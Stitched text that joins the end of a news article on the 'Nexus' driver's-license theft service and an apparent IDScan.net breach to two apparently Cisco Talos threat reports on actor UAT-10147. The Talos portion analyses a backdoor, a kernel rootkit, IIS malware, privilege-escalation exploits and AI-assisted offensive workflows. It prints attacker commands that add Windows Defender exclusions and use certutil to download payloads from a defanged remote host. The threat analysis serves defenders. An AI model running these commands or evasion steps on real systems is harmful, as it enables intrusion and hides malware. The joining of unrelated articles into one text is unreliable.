At first, I thought the source of the data might have something to do with airports. However, that theory went out the window when it became apparent there were no passports in this data set. Also, only some of those who helped with this research said they showed their drivers license at the airport on the day of their travel. One person whose license was in Nexus hadn’t flown at all recently, but was renting a car from Hertz for several months around the date of their timestamp.

Two of those who agreed to help are federal employees who said they shared other forms of government identification when passing through airport security. However, those individuals each said they shared their state-issued drivers licenses later that day when renting vehicles at their respective destinations, and that both rented their cars from Hertz.

After finding a note in my calendar for the day of my June 2025 flight reminding me to bring my passport, I remembered that I also never actually shared my drivers license when I went through security at Reagan National Airport on that day because I did not yet have a Real ID, a security-enhanced drivers license that is now required by the Transportation Security Administration (TSA) for all domestic travel. Instead, I showed the TSA agent my government-issued U.S. passport.

Here’s where it gets interesting: I was able to find my mother’s drivers license in this service as well, and the timestamps for her images are just a few seconds apart from mine. That’s notable because we both handed our licenses to the Hertz rental car representative at the same time.

According to my mom, the only place she gave her drivers license to that day was the rental car company, and if memory serves that is also true for me. I don’t recall if the rental car representative inserted our licenses into any kind of machine, but I remember they held onto them for several minutes behind the counter while we were signing various forms. KrebsOnSecurity sought comment from Hertz and will update this story in the event they reply.

Zach Edwards is a well-known security and privacy researcher who recently launched a service called DecryptAds to help people better understand how online advertisers are tracking them. A scan of Edwards’s drivers license is available for purchase on this identity theft service, and Edwards said the timestamp on his record corresponds to the middle of a trip last month to Las Vegas for the annual DEFCON security conference.

Edwards told KrebsOnSecurity that although he did not rent a car in Vegas, he did hand over his license at the TSA checkpoint, at a marijuana dispensary in Vegas, and at his hotel (the Aria). But he said the only one of those three that for sure scanned his ID in some kind of device was the dispensary.

To enter Planet13’s weed dispensary in Las Vegas, one must pass through a red telephone booth. Image: Zach Edwards.

Edwards said the dispensary he visited that day was Planet13, a multi-state chain with stores in California, Florida, Illinois and Nevada. In 2022, the New Orleans-based identity provider idscan.net published a press release announcing an exclusive identity verification agreement with Planet13’s dispensaries nationally. IDScan says it processes ID verification for more than 1,000 marijuana dispensaries in 19 U.S. states.

The “trust” page of idscan.net states that the company provides identity verification services for numerous big brands, including Hertz, Target, Fedex, Motorola Solutions, the financial services giant Jack Henry, and Caesars Entertainment. And as idscan.net’s own documentation states, the technology scans IDs with both infrared and ultraviolet light. Idscan.net says the company’s systems and technology perform more than 21 million verifications monthly, at more than 20,000 locations around the world.

Image: idscan.net.

Contacted by KrebsOnSecurity, idscan.net said it was investigating the matter, but the company has not yet shared an official statement or a substantive reply to specific questions sent via email.

“At this point I’m not able to share any additional information, but the updates you have provided have been welcome, and helpful to our team’s investigation,” wrote Jillian Kossman, a marketing and operations leader at idscan.net.

During the course of my research for this story, word got around to the FBI that I was poking at the apparent source of this new identity theft service’s data. Probably they were tipped off when I shared with a trusted source that Nexus also is selling the drivers license information for the assistant director of the FBI (I did not find FBI Director Kash Patel’s license in Nexus).

Earlier this afternoon, I was added to a conference call with a half-dozen FBI agents, including senior leaders from the agency’s cyber division. During that call, the FBI shared that earlier today their New Orleans field office opened an official investigation into an apparent breach involving idscan.net.

Edwards said that as more in-person and online experiences require sharing drivers licenses, vendors who collect this sensitive data need to be held to a higher standard.

“This episode should further strengthen the resolve for people who are fighting back against online ID schemes which are requiring countless providers to ask for drivers licenses in order to access services under the guise of protecting kids,” Edwards told KrebsOnSecurity. “These systems are putting sensitive data into more and more 3rd party vendors, and we don’t have nearly the oversight to ensure they are safe.”

Larry Baldwin is principal intelligence researcher at the cybersecurity firm Cybera. Baldwin said a front and back scan of his drivers license available at Nexus contains timestamps that correspond to the date of a car rental from Hertz on a recent vacation.

Baldwin said the Nexus identity theft service presents multiple serious security and privacy threats, noting that state-issued drivers licenses are commonly used as proof of one’s identity when opening new lines of credit. Baldwin said the service could also dangerously expose many people who do not wish to be found but who cannot meaningfully change their appearance (or at least not enough to fool today’s AI-based image matching tools).

This category of people, he said, includes those fleeing domestic violence, and even people who have been assigned a whole new life and identity as part of the federal government’s witness protection program, which is generally reserved for criminal defendants in racketeering and conspiracy investigations who agree to cooperate with federal authorities.

“Just when it seems like we’re making some headway in improving authentication controls through drivers license verification systems, this happens and the very thing those improvements are dependent on are compromised,” Baldwin said.

Update, Sept. 2, 6:05 p.m. ET: A spokesperson for Caesars Entertainment said Caesars has not been a client of IDScan.net and has not used VeriScan since February 2025, despite IDScan.net listing them as a client on their website. That person said Caesars had no active VeriScan accounts at the time of the incident and did not authorize IDScan.net to retain data from its accounts, and that IDScan.net said the incident should have no impact on Caesars Entertainment.

Update, 8:56 p.m. ET: Shortly after this story was published, the Nexus identity theft service website vanished from the darkweb, replacing its login page with a plain text message that reads, “This service is no longer available.”

This is a potentially fast-moving story. Any changes or updates will be noted here along with a timestamp.

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• UAT-10147 is a highly capable Chinese-speaking intrusion actor operating a multi-platform post-exploitation ecosystem targeting IIS and Linux servers, combining search engine optimization (SEO) fraud monetization with advanced persistence and defense evasion techniques. 
• The newly identified SPECTRE implant represents a significant evolution in commodity intrusion tooling, integrating cross-platform command-and-control (C2) operations, process injection, credential theft, anti-analysis protections, and kernel-level endpoint detection and response (EDR) bypass functionality. 
• The actor demonstrates operational maturity through the combined use of custom malware, open-source offensive tooling, Bring Your Own Virtual Driver (BYOVD) based EDR neutralization, Linux kernel rootkits, and sophisticated in-memory web shell deployment techniques. 
• Cisco Talos’ analysis of recovered source code suggests portions of the Linux rootkit development may have incorporated AI-assisted code generation workflows, highlighting the growing role of generative AI in accelerating offensive malware development. 

In our previous blog, Cisco Talos documented how UAT-10147 operationalized AI-assisted exploitation workflows to compromise internet-facing IIS and Linux servers at scale. This blog discusses how UAT-10147 is employing a diverse arsenal of tools, including SEO fraud utilities, local privilege escalation tools, and both off-the-shelf and custom developed backdoors.

To thoroughly analyze their toolkit, the following section is divided into three parts, detailing the specific tools used and their respective capabilities. We also assess that UAT-10147 is gradually incorporating AI-assisted development into its operations, likely to support the creation and refinement of tools used across its campaigns. Specifically, both its custom-developed backdoor, SPECTRE, and custom-developed rootkit, Specter, exhibit indications of AI-assisted development.

Talos also observed several SEO fraud-related components used in this campaign that we assess with medium confidence to be associated with “x神” (“xshen”), who is mentioned in a previously released Talos post. This assessment is supported by multiple development artifacts embedded in the BadIIS malware and related tooling. 

The BadIIS samples used in this activity contain the following PDB paths:  

• C:\Users\Administrator\Desktop\2025-11-21 (x神订制全站劫持按浏览器语言跳转)\dll\Release\demo.pdb 
• C:\Users\Administrator\Desktop\2025-11-21 (x神订制全站劫持按浏览器语言跳转)\dll\x64\Release\demo.pdb 

We also identified that the BadIIS installer embeds a service installer containing an additional PDB string referencing “x神”: 

• C:\Users\Administrator\Desktop\x神的自安装服务\svchost\x64\Release\service.pdb  

Beyond these xshen-related development artifacts, other components in the campaign also contain references to “X.” The ASHX SEO engine configuration includes a string named “X-seo,” while the web shell uses an “X-ID” HTTP header to transmit a specific token. This header appears to support covert authentication by blending the web shell’s control traffic into otherwise routine HTTP communications. 

SPECTRE: A new cross-platform backdoor

SPECTRE is a cross-platform backdoor written in C.

Talos named this backdoor "SPECTRE" based on a debug log recovered from one of the observed samples. This log meticulously records each step of the malware's execution process and explicitly displays its name in the header. The contents of the observed log file are provided in Figure 4.

Windows version  

The Windows variant of SPECTRE distinguishes itself from the stock Havoc framework through custom post-exploitation and defense evasion capabilities compiled directly into the binary. Furthermore, the implant heavily prioritizes obfuscation and anti-analysis by utilizing a dual layered defense strategy. First, API resolution is executed entirely at runtime via PEB hash walking, using a DJB2 variant algorithm. Second, string encryption relies on a per-string xorshift32 pseudorandom number generator (PRNG) scheme. Sensitive literals are encrypted at compile time with unique 32-bit seeds, decrypted to thread local storage immediately before execution, and never stored in plaintext within the “.text” or “.rdata” sections. Consequently, static detection methods are largely ineffective against the implant's indicators.

SPECTRE has a feature to execute a weighted anti-analysis scoring routine that evaluates process name blocklists, RAM capacity, CPU core count, disk space, sleep acceleration detection, and common sandbox host names and usernames. If the cumulative score reaches or exceeds 50 points, the process self-terminates.

A fallback C2 domain is hardcoded within the binary and can be recovered through string decryption. All C2 communications are transmitted via HTTP POST requests to the “/api/v1/register” and “/api/v1/output” endpoints. Additionally, Talos observed a specific version of the implant attempting to read its C2 configuration from an NTFS Alternate Data Stream (ADS) located at “C:\Windows\System32\drivers\etc\hosts:cache”. This strategy allows the threat actor to easily update the C2 configuration by modifying the ADS, thereby circumventing firewall blocklists without needing to recompile the binary.

Talos observed 45 commands in this SPECTRE backdoor. 24 appear as plaintext comparands, and 21 are encrypted with the xorshift PRNG and decrypted at each dispatch.

Table 1. Windows version command list.

During our research, Talos noticed the encrypted commands are specific features for this backdoor. The features can be divided into three categories: 1) process injection, 2) privilege escalation and credential theft, and 3) BYOVD EDR killer capabilities.

Process injection capabilities 

SPECTRE supports three distinct injection modalities, all managed through a unified handler. The first is standard process hollowing, which targets “svchost.exe” by default. The second is APC EarlyBird injection, which utilizes pre-allocated memory to deliver shellcode before the target thread can execute a single instruction. The third is an automated, on-startup self-hollowing technique targeting “RuntimeBroker.exe”; this executes directly from main() to conceal the implant and evade EDR visibility. 

Privilege escalation and credential theft capabilities 

The SPECTRE implements named pipe impersonation for privilege escalation. It creates a pipe named “\.\pipe\spectre_<tid>” and acquires a SYSTEM token via ImpersonateNamedPipeClient. With SYSTEM privileges, three registry hives HKLM\SAM\SAM, HKLM\SYSTEM, and HKLM\SECURITY are saved to “%TEMP%” via RegSaveKeyA for offline NT hash extraction using Impact “secretsdump.py”.

Beyond hive dumping, SPECTRE provides two additional credential theft functions: 

1. Vaultdump: Spawns cmdkey.exe /list with stdout capture to enumerate Windows Credential Manager entries without any LSASS access 
2. Chromedump: Copies Chrome and Edge login data and local state files to “%TEMP%” for offline DPAPI decryption via SharpChrome

BYOVD EDR killer 

SPECTRE downloads one of two well-known vulnerable driver from the C2 — either RTCore64.sys from MSI (associated with CVE-2019-16098) or DBUtil_2_3.sys from Dell (associated with CVE-2021-21551). It then decodes and writes the driver to disk under %TEMP%, installs it as a transient kernel service via the SCM, and opens an IOCTL handle to the device.

Leveraging arbitrary kernel read/write primitives exposed by these drivers, SPECTRE uses NtQuerySystemInformation to locate “ntoskrnl.exe” in the kernel address space. It then references a hardcoded, per-build offset table covering 13 Windows versions to calculate the exact kernel virtual addresses for PspCreateProcessNotifyRoutine, PspCreateThreadNotifyRoutine, and PspLoadImageNotifyRoutine. By performing targeted kernel writes, the SPECTRE safely unlinks each registered EDR callback from its doubly-linked list. Consequently, kernel-callback-dependent security products are rendered completely blind to new process creations, thread creations, and image load events for the remainder of the session, successfully neutralizing EDR visibility on the target machine.

Linux version 

The SPECTRE Linux variant’s structure is the same as the Windows variant. It is a statically-linked ELF x86-64 binary targeting Linux systems. Upon execution, SPECTRE immediately invokes an eight-factor anti-sandbox scoring engine before establishing C2 connection. If the cumulative score reaches or exceeds the threshold of 50, the binary exits silently without generating any observable indicators.

Following successful anti-sandbox validation, SPECTRE beacons to its hardcoded C2 domain with a JSON payload, which is the same as the Windows version.

Rather than 45 commands in the Windows variant, the Linux version of SPECTRE only has 29 commands, none of which result in obfuscation or encryption.

Table 2. Linux version command list. 

The backdoor's command set encompasses comprehensive file system manipulation, system and process reconnaissance, agent management, and unrestricted shell execution. A particularly notable feature is the timestomp command, an anti-forensics mechanism that utilizes the utimensat() function and operator-provided timestamps to alter a file's modification, access, and change times. 

SPECTRE's most critical capability is its integrated kernel-level rootkit, called Specter. The rootkit is deployed as a loadable kernel module disguised as “acpi_pad.ko”, allowing it to mimic the legitimate ACPI processor power management module. To maintain persistence, it utilizes a fraudulent systemd unit file named “hardware-monitor.service” and bears the description "Hardware Performance Monitor." Crucially, this service is configured with “Before=sysinit.target”, ensuring the rootkit executes on every system boot prior to the initialization of any security tooling.

The user level communicates with the loaded kernel module through a signal-based IPC mechanism, issuing kill() syscalls targeting a magic PID value of 0x7A69 (decimal 31337, a well-known "elite" hacker cultural) with specific real-time signal numbers encoding the desired operation:  

• Signal 62 triggers process hiding by removing the target task_struct from the kernel PID list, rendering “/proc/<pid>” invisible. 
• Signal 36 hides the module itself from lsmod by unlinking THIS_MODULE from the kernel module linked list. 
• Signal 37 escalates the implant process to UID 0 by directly overwriting the process credential structure. 
• Signal 35 serves as a module load acknowledgement handshake.  

This architecture grants the threat actor persistent, kernel-level control of the compromised host that survives both reboots and most user-level security controls.

Specter Linux rootkit 

The SPECTRE backdoor loads the Linux Kernel rootkit, Specter, to prevent detection from security products. Based on the SPECTRE Linux version we observed, the compiled artifact is deployed disguised as “acpi_pad.ko”. Rather than patching the syscall table, the hook mechanism rootkit uses the Linux kernel's native “ftrace” instrumentation framework with “FTRACE_OPS_FL_IPMODIFY” to redirect execution at the function entry point of six syscall handlers: 

• hooked_tcp6_seq_show 
• hooked_tcp4_seq_show 
• hooked_tkill 
• hooked_tgkill 
• hooked_kill 
• hooked_getdents64 

Because “ftrace” is a legitimate kernel debugging interface, this approach produces minimal noise in kernel integrity checks.

Talos investigated the source code of the Specter rootkit and assesses with medium confidence that UAT-10147 leveraged a combination of AI-assisted development and human expertise in the creation of this rootkit, which is designed to be invoked directly by SPECTRE.

The first evidence is the documentation structure. The opening feature list at the top of the source code is a product spec, not a developer's note. A complete bulleted feature list with parenthetical technical elaborations on each point reads as a response to a prompt such as, "Write a rootkit with the following features." It is the AI narrating what it is about to produce.

The second piece of evidence is the rigid, uniform style of the decorative separators. The identical width and formatting applied consistently across all 10+ logical sections exhibit a machine-like uniformity that is a classic hallmark of AI-generated output. In addition, this text exhibits a pedagogical tone. An actual developer authoring a rootkit would not need to explain basic concepts to themselves, such as the function of taint flags or the mechanics of “cat /proc/sys/kernel/tainted”. The content is clearly structured as an educational explanation for a reader, rather than authentic, internal developer notes.

The last piece of evidence is that the inclusion of three distinct methods — explicitly labeled with inline comments such as “Method 1,” “Method 2, and “Method 3” — is a common artifact of AI generation. When prompted to be thorough, AI models tend to output all known approaches. In contrast, a human developer targeting a specific kernel would simply select and implement the single most effective method. This exhaustive, multi-method presentation is a classic example of an AI's completeness reflex.

SEO fraud utilities 

Regarding the SEO fraud utilities deployed in this attack, we observed two distinct types of malware. The first is the previously discussed BadIIS malware-as-a-service (MaaS) and the second is a C# ASHX SEO engine. While both tools share the same core capability of facilitating SEO fraud, their mechanisms for establishing persistence on the compromised server are fundamentally different.

ASHX SEO engine 

This SEO hijacking web handler silently takes over an IIS application's request pipeline via reflection. Functionally, it mirrors standard BadIIS malware, serving fabricated content to search crawlers to poison rankings while delivering a malicious JavaScript payload to targeted users. Furthermore, the threat actor explicitly named it “public class SeoEngineHandler,” clearly communicating the tool's intended purpose.

Talos also observed that SeoEngineHandler is specifically designed to target Vietnamese internet users. The handler's internal configuration contains several indicators that substantiate this geographic focus, such as the configured C2 domains utilizing the “vn[.]xyz” suffix, and the malware explicitly targets the crawler for “Cốc Cốc” (configured as coccoc), a prominent Vietnamese web browser and search engine.

MaaS BadIIS 

The BadIIS variant observed in this attack is deployed to the compromised server within a ZIP archive containing both 32-bit and 64-bit versions of the malware, alongside an installation batch script. One of the recovered archives contained a service installer previously documented by Talos. Notably, the core malware is the specific variant detailed in that same Talos research, characterized by the “demo.pdb” string and confirmed to operate under a MaaS model.

"Potato" family 

Talos observed the threat actor utilizing multiple “Potato” family tools to achieve system level privileges. While some of these tools, such as GodPotato and JuicyPotato, were downloaded as pre compiled binaries from the internet, others, like EfsPotato and RustPotato, were compiled by the threat actor directly from source code. Notably, analysis of the custom compiled EfsPotato and RustPotato payloads revealed embedded PDB strings and local file paths, inadvertently exposing details about the threat actor's development environment. The environment suggests that they target IIS servers and compile these custom privilege escalation tools within a designated AI directory. The explicit use of an AI folder in their build path is a fascinating detail, strongly suggesting that the threat actor may be leveraging AI to assist in the development of these tools. 

• C:\Users\iis\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\widestring-1.2.1\src\ucstring.rs 
• C:\Users\iis\Desktop\AI\EfsPotatoCpp\x64\Release\EfsPotato.pdb 
• C:\Users\Intel\Desktop\AI\EfsPotatoCPP\x64\Debug\EfsPotato.pdb

Other backdoors for persistence 

UAT-10147 leveraged other multiple backdoors throughout this attack. Their arsenal includes well-known commodity and open-source tools such as Gh0stCringe, QuasarRAT, Meterpreter, Noodle RAT, and a web shell.  

Web shell 

Talos observed a web shell with a sophisticated two layer architecture. The outer handler functions as a self bootstrapping loader that leverages in-memory dynamic compilation to execute its payload. Upon receiving the initial HTTP request, the handler reverses an obfuscated string, decodes it via Base64, and dynamically compiles the resulting code in memory using “CodeDomProvider”. To optimize execution and ensure thread safety, it caches the compiled assembly in a static field (_a) using double-checked locking, ensuring the payload is compiled only once per IIS worker process lifetime. Finally, the loader instantiates and invokes SHandler.ProcessRequest to manage all subsequent incoming requests.

The embedded handler functions as a versatile web shell implant, relying on a numeric parameter to dispatch its various operational modes. To maintain stealth, the shell employs a strict, multi-tiered authentication mechanism. It first inspects the X-ID HTTP header for a specific token; if absent, it falls back to checking the v parameter. If neither contains the exact value of "x9", the handler immediately halts execution and returns a deceptive “404 Not Found” error. This evasion technique allows the shell's covert authentication process to blend seamlessly into routine HTTP traffic.

A detailed breakdown of the supported commands and their corresponding actions is outlined below.

Table 3. Web shell command list. 

Meterpreter 

Talos has observed UAT-10147 deploying reverse Meterpreter shells to maintain persistent access to compromised Linux hosts. The observed malware functions as a first stage shellcode dropper. Upon establishing a successful connection, this dropper retrieves a second stage payload designed to establish persistence and grant the threat actor full C2 over the victim's machine.

Noodle RAT 

UAT-10147 also deployed Noodle RAT against targeted Linux servers, utilizing it as a final stage backdoor to ensure persistent access. The specific payload observed in this campaign is the Type 0x03A2 ELF variant, which was previously documented in research published by Trend Micro.

QuasarRAT 

Talos also observed UAT-10147 attempting to deploy QuasarRAT on compromised IIS servers to establish long-term persistence. A notable characteristic of this specific payload is its configured Campaign ID, which contains a derogatory Chinese string (“越南老逼”) toward Vietnamese elderly people. This artifact provides potential insight into the threat actor's sentiment or specific geographic targeting.

Gh0stCringe 

In another observed instance, UAT-10147 deployed Gh0stCringe to establish persistence. To evade detection, the threat actor embedded the Gh0stCringe payload as shellcode within a custom Go-based loader. 

Coverage 

The following ClamAV signatures detect and block this threat: 

• Win.Malware.Generic-10060235-0 
• Win.Malware.Generic-10060218-0 
• Win.Malware.Generic-9883082-0 
• Win.Malware.BadPotato-10060230-0 
• Win.Exploit.Marte-10033857-0 
• Unix.Rootkit.Malware-10060258-0 
• Win.Tool.GodPotato-10019688-1 
• Unix.Rootkit.Spectre-10060260-0 
• Unix.Trojan.Backdoor-6678692-0 
• Win.Malware.Generic-10060252-0 
• Win.Malware.Ulise-10056576-0 
• Win.Malware.Generic-10060220-0 
• Win.Malware.BadIIS-10059985-0 
• Win.Tool.juicypotato-10041758-0 
• Unix.Backdoor.Msfvenom-10012672-0 
• Win.Loader. BadiisSet-10060291-1 
• Asp.Rootkit.Badiis-10060290-1 

The following SNORT® rules (SIDs) detect and block this threat:  

• Snort2: 1:66690, 1:66688, 1:66689  
• Snort3: 1:66690, 1:301548 

Indicators of compromise (IOCs)  

The IOCs can also be found in our GitHub repository here. 

• Cisco Talos identified UAT-10147 targeting Windows and Linux web servers globally, impacting organizations in government, education, media, technology, and gaming sectors. The actor leveraged publicly disclosed vulnerabilities to gain initial access at scale. 
• UAT-10147 integrated AI-driven tooling into exploitation, reconnaissance, payload generation, validation, and persistence workflows. Talos observed AI-generated operational playbooks, exploit automation scripts, and troubleshooting logic supporting real-world intrusions. 
• The actor employed a mixture of open-source offensive frameworks, including Metasploit, ysoserial, PentestGPT, DeepAudit, and multiple privilege escalation exploits to automate intrusion operations and establish persistence. 
• Talos assesses that integrating AI-generated exploitation guidance, automation, and validation workflows enables threat actors to scale complex attacks more efficiently while reducing the expertise traditionally required for advanced post-compromise operations.

In early 2026, Cisco Talos discovered a Chinese-speaking cybercrime group, tracked as UAT-10147, that targets a wide range of vulnerable web servers. The group engages in multiple criminal activities, including search engine optimization (SEO) fraud and data theft.

This blog post provides an overview of the campaign, examining the countries affected and the potential impact of BadIIS infections. It also outlines UAT-10147's attack chain and post-compromise tactics.

Talos assesses with moderate-to-high confidence that UAT-10147 is among an emerging class of financially motivated intrusion operators leveraging agentic AI systems to operationalize offensive tradecraft at scale. Unlike traditional use of generative AI for simple scripting assistance, the actor demonstrated:

• Iterative exploit refinement 
• Adaptive troubleshooting 
• Post-exploitation automation 
• Exploit validation workflows 
• Operational documentation generation

This indicates a transition from AI-assisted scripting toward semi-autonomous offensive orchestration. 

Victimology 

UAT-10147 targeted high-value internet-exposed web servers across multiple regions. Talos’ investigation shows affected servers located in Brazil, Bolivia, China, Canada, and Vietnam. These systems belong to organizations in sectors including government, universities, media, technology, and gaming. 

From the threat actor’s command-and-control (C2) server open directory, we also identified a target list containing approximately 170,000 URLs stored in a text file. The actor appears aware that scanning the entire list at once is inefficient and time consuming. To improve performance, they split the large list into 17 files, each containing about 10,000 URLs. Additionally, the threat actor uses the letter “w” as a reference to the Chinese character “萬,” which represents 10,000.

Figure 2 shows the distribution of the target list across countries based on the IP addresses resolved from the 170,000 URLs. 

UAT-10147 OPSEC failure 

Talos identified this activity after observing a compromised machine communicating with a download server hosted at “139.180.197[.]150”. A review of this IP address revealed an open directory. Below provides a high-level view of this directory listing.

Attack summary  

Talos observed that the threat actor uses multiple methods to gain initial access to a victim’s network. After successfully achieving remote code execution (RCE) on a website or otherwise gaining access to the server, the actor typically runs an automated script to install and deploy malware for SEO fraud or data stealing. In some cases, the attacker instead installs a web shell, which allows them to manually set up the BadIIS malware and establish persistence through additional backdoor deployment.

Windows platform infection chain 

The attack uses multiple Windows batch scripts to carry out its objectives. Although some versions of the scripts contain minor variations, these differences do not affect the overall purpose. The following section highlights the primary batch files observed during the attack. 

The main script is executed after the threat actor obtains RCE or establishes an implant on the victim’s web server. It is commonly named “back.txt” or “back.bat”. This code represents a multi-stage malware deployment script that utilizes certutil to download a privilege escalation tool (EfsPotato, renamed as “prcc1.rar”), a secondary batch script (“bai.bat”), and the QuasarRAT payload (disguised as “svchosts.exe”). Using the EfsPotato tool to gain elevated system privileges, the script modifies the Windows Registry and uses PowerShell to add specific directories to the Windows Defender exclusion list, effectively hiding the malware from antivirus scans. Finally, the script attempts to delete its initial staging files and scripts to cover its tracks and hinder forensic analysis. Notably, during our research, we observed the threat actor deploying other implants in similar campaigns, including Gh0stCringe and SPECTRE. Please see this accompanying blog post on Talos' research into UAT-10147's use of the SPECTRE implant.

The secondary batch script then silently executes the backdoor and establishes persistence by creating deceptive scheduled tasks named "Google Chrome Start" that run the malware with the highest privileges every time a user logs on.

To deploy the BadIIS malware on the target machine, UAT-10147 would likely perform the following activities: 

1. The threat actor utilizes a privilege escalation tool to add standard IIS directories (“System32\inetsrv” and “SysWOW64\inetsrv”) to the Windows Defender exclusion list via PowerShell and Registry modifications. This defense evasion tactic effectively blinds the antivirus to the directories where the malicious IIS modules will be dropped.

prcc1.rar cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\Windows\SysWOW64\inetsrv 
prcc1.rar cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\Windows\System32\inetsrv 
prcc1.rar cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Windows\SysWOW64\inetsrv" /t REG_DWORD /d 0 /f	 
prcc1.rar cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Windows\System32\inetsrv" /t REG_DWORD /d 0 /f

2. They use certutil to download the achieved BadIIS (“dll.zip”) and a third execution script (“user.bat”) from a remote server.

certutil -url"cache -split -f https[:]//adminapi.tippusoni[.]in/4/dll.zip C:\ProgramData\dll.zip	 
certutil -url"cache -split -f https[:]//adminapi.tippusoni[.]in/4/user.txt C:\ProgramData\user.bat

3. The threat actor then conducts local reconnaissance by executing the IIS management tool appcmd to enumerate the server's website configurations, likely to identify injection targets for the BadIIS module.

prcc1.rar cmd.exe /C C:\Windows\system32\inetsrv\appcmd list site /config /xml

4. Finally, the attacker executes user.bat with elevated privileges to create a rogue local user account adding it to both the local Administrators and Remote Desktop Users groups to guarantee persistent, highly privileged Remote Desktop Protocol access to the compromised machine.

Linux platform infection chain

The attack begins with the threat actor sending a RCE payload to a vulnerable server to gain an initial foothold. Following successful exploitation, a web shell is deployed on the compromised Linux server, providing the attacker with persistent and interactive command execution capabilities. Leveraging this access, the threat actor proceeds to escalate privileges using a broad arsenal of known Local Privilege Escalation (LPE) exploits. Below are the exploits UAT-10147 used.  

1. CVE-2022-0995 targets a flaw in the Linux kernel's watch_queue event notification mechanism, allowing an unprivileged user to write arbitrary data out-of-bounds and achieve privilege escalation.  
2. CVE-2021-3156, known as "Baron Samedit," is a heap-based buffer overflow vulnerability in the Unix sudo utility that allows any local user — even those not listed in the sudoers file — to gain root privileges without authentication.  
3. CVE-2015-5287 exploits a vulnerability in the ABRT (Automatic Bug Reporting Tool) sosreport functionality, where improper handling of symbolic links can be abused by a local attacker to escalate privileges.  
4. CVE-2015-3246 abuses a flaw in libuser's roothelper component, where improper file handling allows a local attacker to corrupt the “/etc/passwd” file and gain root-level access.  
5. CVE-2010-3904, one of the older vulnerabilities in the chain, exploits a flaw in the Linux kernel's Reliable Datagram Sockets (RDS) protocol implementation, specifically in the rds_page_copy_user function, allowing a local unprivileged user to write to arbitrary kernel memory addresses and escalate privileges to root.  
6. CVE-2022-0847, widely known as "Dirty Pipe," is a high-severity Linux kernel vulnerability that allows unprivileged users to overwrite data in read-only files by exploiting a flaw in the way pipe buffers are handled, effectively enabling privilege escalation or arbitrary file modification.  

Once root-level access is achieved, the attacker deploys multiple implants such as NoodleRAT, SPECTRE, and Meterpreter which establish outbound connections to remote command and control infrastructure.

Post-compromise strategy  

Talos observed the adversary employing a two-pronged attack strategy to compromise target environments, including exploitation of known one-day vulnerabilities and using AI tool-assisted reconnaissance and payload generation. 

Known one-day vulnerabilities 

The threat actor heavily relies on publicly disclosed vulnerabilities to achieve RCE across both Windows and Linux web servers. To weaponize these flaws, the threat actor utilizes the Metasploit Framework to construct targeted exploits and deploy Meterpreter backdoors. Specific vulnerabilities exploited in this campaign include CVE-2022-27925, an unauthenticated RCE in the Zimbra Collaboration Suite and CVE-2021-23758, an AjaxPro deserialization RCE. 

We also observed the threat actor weaponizing CVE-2021-29441 and CVE-2021-29442, an arbitrary code execution vulnerability within the Nacos framework. The exploit leverages the ScriptEngineFactory Service Provider Interface to execute malicious instructions. Upon class loading, the payload invokes Runtime.exec() to spawn an OS-level shell, dynamically adapting to the victim's environment by executing /bin/bash on Linux or falling back to cmd.exe on Windows. Once the shell is established, the payload utilizes curl to exfiltrate basic system telemetry. It POSTs the output of id and hostname (on Linux) or %USERNAME% and %COMPUTERNAME% (on Windows) directly to an attacker-controlled Nacos configuration server. By routing exfiltrated data to a legitimate cloud-based configuration management service, the attackers effectively blend their traffic with normal administrative operations. This infrastructure choice acts as an asynchronous exfiltration sink, allowing the adversaries to poll their own Nacos instance to verify successful exploitation across victims without the operational overhead or detection risk of establishing a persistent reverse shell or maintaining direct inbound connections.

Talos also captured the exploitation of CVE-2019-18935, a well-known .NET JSON deserialization vulnerability affecting Telerik UI for ASP.NET AJAX. The threat actor actively probes the environment to verify the presence of the Telerik file upload handler and fingerprint the software version. Once a vulnerable instance is confirmed, the threat actors deploy a customized, weaponized proof-of-concept to achieve arbitrary file upload and subsequent RCE. During the post-exploitation phase, the threat actor drops compiled reverse shell payloads to disk. We observed these malicious DLLs utilizing a distinct, randomized naming convention, specifically formatted as: [10 digits].[7 digits].dll.

AI-driven offensive tool assistance  

In their second strategy, UAT-10147 leverages a suite of advanced, AI-driven offensive tools. Specifically, they utilize DeepAudit for source code vulnerability scanning. While we have not directly observed the actor exploiting vulnerabilities discovered by DeepAudit in victim environments, we did observe the framework installed on their management server. Consequently, we assess with high confidence that they intend to use it to identify vulnerabilities within target website source code or third-party package libraries. It is also highly plausible that the threat actors are also leveraging DeepAudit for defensive purposes — such as proactively auditing their own infrastructure, custom tooling, or management servers to prevent exposure and compromise by rival actors or security researchers.

Furthermore, Talos observed the threat actor installing the PentestGPT framework on their C2 server and using it to dynamically scan web servers and execute relevant proof-of-concept exploits. The threat actor successfully exploited a website and gathered information about the victim machine using Linux commands.

Additionally, UAT-10147 is leveraging AI-driven tools to build end-to-end offensive workflows. By utilizing the ysoserial framework, these tools generate custom malicious payloads designed to exploit unsafe Java object deserialization vulnerabilities. The AI tool not only creates a well-documented README instructing the attacker on how to use ysoserial to infiltrate the target server, but it also generates three companion Python scripts. These scripts enable the threat actor to easily verify writable paths and permissions, deploy an implant via a ViewState RCE, and drop a web shell onto the compromised machine using the same ViewState deserialization flaw. Furthermore, UAT-10147 employs AI tools to conduct quality assurance testing on the ViewState RCE, effectively using the AI to validate that the exploit functions correctly against the target. 

An ASP.NET ViewState deserialization RCE guide created by AI  

The opening section outlines the threat actor’s required prerequisites: specifically, the ValidationKey, DecryptionKey, their respective algorithms (SHA1, AES, and 3DES), the target page's __VIEWSTATEGENERATOR value, and the destination URL. The threat actor noted these values are typically obtained via the open-source tool badsecrets, which maintains a database of publicly known or leaked ASP.NET MachineKey configurations. This first step illustrates that the threat actor’s success is entirely dependent on key material exposure making MachineKey confidentiality the most critical defensive control.

Before committing to full exploitation, the attacker documented a low-noise technique to verify whether a stolen MachineKey is valid against a live target. By submitting a deliberately malformed ViewState payload, they distinguish between two distinct HTTP 500 error messages: 

• MAC Validation Failure: Indicates an incorrect validation key was used, preventing deserialization. 
• InvalidCastException: Confirms the validation key is correct and that the payload was successfully deserialized by the server. 

This error message allows the attacker to silently confirm key validity without triggering meaningful command execution.

